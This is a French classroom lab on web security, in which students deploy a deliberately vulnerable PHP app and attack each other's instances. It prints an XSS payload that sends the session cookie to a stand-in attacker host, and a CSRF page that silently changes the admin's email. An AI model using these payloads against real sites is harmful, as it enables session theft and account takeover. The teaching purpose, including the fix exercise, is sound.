Téléchargez tout d'abord l'archive suivante :
Décompressez-la, puis importez le script database/boulangerie.sql
dans votre base de données.
(Au département, suivez ce lien).
Modifiez également le fichier config.php
pour qu'il corresponde à votre configuration, puis lancez un
serveur php
en écoute :
php -S 0.0.0.0:8080
Connectez vous à http://localhost:8080/. Vous devriez voir une page qui ressemble à cela :
Inscrivez-vous, votre premier utilisateur sera administrateur.
Donnez l'adresse IP de votre machine à un camarade, son but sera d'exploiter les failles de votre application et vice-versa.
Pour exploiter les failles XSS et CSRF, il faut obtenir que la victime se rende sur une page, vous pourrez vous envoyer des liens par mail ou par message privé.
La première faille que nous allons exploiter est la faille XSS. Cette dernière consiste à trouver une page qui permet à un utilisateur de faire un rendu de code qui sera interprété par le navigateur.
Trouvez tout d'abord la page vulnérable.
Écrivez un script qui récupère le cookie de session de l'utilisateur et l'envoie à votre serveur.
Pour ce faire, vous pourrez par exemple lancer un serveur avec php -S 0.0.0.0:8081
et l'utiliser
pour récupérer le cookie de session.
Voici un exemple de script utilisable:
// Un script que l'on injecte en XSS
<script>
var i = new Image();
i.src = "http://attaquant/" + document.cookie;
</script>
Couplez ce script avec l'exploitation de la faille XSS précédemment identifiée, demandez à votre camarade de se rendre sur la page vulnérable.
Modifier le cookie de session de votre navigateur pour qu'il corresponde à celui de votre camarade. Vous devriez être maintenant admin!
Trouvez un moyen de corriger le problème original afin que la faille XSS ne soit plus exploitable.
La seconde faille que nous allons exploiter est la faille CSRF. Cette dernière consiste à trouver une action que l'on souhaite forcer l'administrateur à faire.
Trouvez tout d'abord la page vulnérable.
Écrivez un script qui force l'administrateur à effectuer l'action que vous souhaitez.
Voici un exemple de script utilisable:
<!-- piege.html, hébergé par l'attaquant (on envoie la victime dessus) -->
<form id="form" method="post" action="http://victime:8080/admin.php">
<input name="email" type="hidden" value="attaquant@attaquant.com">
</form>
<script>
document.getElementById("form").submit();
</script>